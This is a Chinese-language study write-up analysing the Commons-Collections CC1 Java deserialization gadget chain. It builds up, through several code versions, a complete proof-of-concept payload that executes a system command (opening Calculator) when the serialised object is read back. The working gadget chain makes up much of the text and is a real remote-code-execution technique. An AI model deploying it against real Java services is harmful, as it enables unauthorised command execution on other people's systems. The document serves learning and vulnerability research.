Java反序列化之commons-collections链一分析学习

反序列化的原理

​ 首先是要继承Serialize类只有继承了这个类菜能够进行序列化,如果某一个类没有继承serialize类并在一条利用链中所需要的地方,我们就可以通过反射来进行处理。例如在java中Runtime.getRuntime()是没有继承seralize类的

但是Class是继承了的

这样以来就可以通过反射来进行序列化和反序列化,反射核心代码如下

上面的代码都是可以成功弹出计算器的。利用链的构造尝试使用同名不同类的方法来进行调用。

反射的基础知识:https://cbatl.gitee.io/2021/12/13/javareflex/

在这里就是复习一下反射的基本知识点,下面就开始进入正题

CC1链分析

​ 分析之前还是要先记录下自己的想法以便于后续查看,在Java的序列化和反序列化中最终的目的就是达到任意命令执行,与其相关以及利用链的最终目的地就是找到可控的readObject(),从而成功利用,如下图所示

只要循序渐进的去找就能够得到一条利用链,可控的输入方法为transform,往前找不同类的相同方法,在org/apache/commons/collections/functors/InvokerTransform.java中看到了一个transform的调用,而且传入的参数也是可控的,可以通过反射调用来实现任意命令执行。分析下其中的代码

传入的三个参数

第一个参数传入的为方法名,后买那两个都是数组,通过反射调用成功的弹出计算器

然后再去逆推后面的链,发现 TranformedMap 中的 checkSetValue 方法调用了 transform

由于TransformedMap构造方法为protected,所以接着看代码是否存在public的调用方法

接下来就是去找如何调用checkSetValue(),调用如下

尝试写payload测试下,TransformedMap.decorate()传入三个参数,第一个为map,然后一个key和value,需要把invokerTransformer作为value值传入。原因是后面的setValue()传入的参数就是value。

这里依旧是可以弹出计算器的。下一个问题就是如何去调用setValue(),通过上面的代码发现在遍历map的时候会调用setValue(),百度搜了下如何遍历map,通过遍历去调用setValue();

成功调用了setValue()。到这里整理一下已经找到的利用链

—>Transform(能够控制参数的方法)

——>InvokerTransformer.transform()

———>TransformedMap.decorate()

———–>AbstractInputCheckedMapDecorator.setValue()

——————->TransformedMap.checkSetValue();

现在链子还有一个问题就是哪里调用了setValue(),在上面的例子中写的遍历Map可以调用setValue(),但是AbstractInputCheckedMapDecorator只能本地类中才能够调用,而且反序列化中利用链调用的终点是readObject(),就去找看是否有直接在readObject()中调用了setValue()的方法。

在readObiect()中调用了setValue()方法,刚好符合所想找的条件。看下AnnotationInvocationHandler的构造参数

一个是class类并继承了注解,另一个是可控的map类,不过需要注意的点是AnnotationInvocationHandler类不是public,是default类型只能在当前包中被调用,所以要通过反射进行调用。此时的paylaod如下

但是没能成功调用,存在的问题,Runtime实例化的r不能进行序列化和反序列化,因为没有继承Serialize接口,通过反射来进行解决。也就是文章开头的例子,需要写成InvokerTransformer的版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
public static void main (String[] args) throws Exception {

Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}).transform(runtime);


}
}

这样就成功转换成了InvokerTransformer的格式。通过使用ChainedTransformer优化代码,主要是因为ChainedTransformer会形成链式调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.crypto.dsig.Transform;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
public static void main (String[] args) throws Exception {

// Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
// Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}).transform(runtime);

Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"})
};
new ChainedTransformer(transformers).transform(Runtime.class);
}
}

加上之前写的关于AnnotationInvocationHandler的反射调用代码总体来看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.crypto.dsig.Transform;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
public static void main (String[] args) throws Exception {

// Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
// Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}).transform(runtime);

Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
HashMap<Object,Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMapSetValueMethod = TransformedMap.decorate(map,null, (Transformer) chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Override.class, transformedMapSetValueMethod);
serialize(o);
unserialize("ser.bin");
}


public static void serialize(Object obj) throws IOException{
ObjectOutputStream Outs = new ObjectOutputStream(new FileOutputStream("ser.bin"));
Outs.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException,ClassNotFoundException {
ObjectInputStream Ints = new ObjectInputStream(new FileInputStream(Filename));
Object obj = Ints.readObject();
return obj;
}
}

没有执行,调试后发现是无法进入第二个if判断,需要传入一个带有参数的注解,通过map传入的key第一个参数必须是其参数值。

最终payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
public static void main (String[] args) throws Exception {

// Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
// Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}).transform(runtime);

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
HashMap<Object,Object> map = new HashMap<>();
map.put("value","aaa");
Map<Object,Object> transformedMapSetValueMethod = TransformedMap.decorate(map,null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, transformedMapSetValueMethod);
serialize(o);
unserialize("ser.bin");
}


public static void serialize(Object obj) throws IOException{
ObjectOutputStream Outs = new ObjectOutputStream(new FileOutputStream("ser.bin"));
Outs.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

参考链接

https://www.bilibili.com/video/BV1no4y1U7E1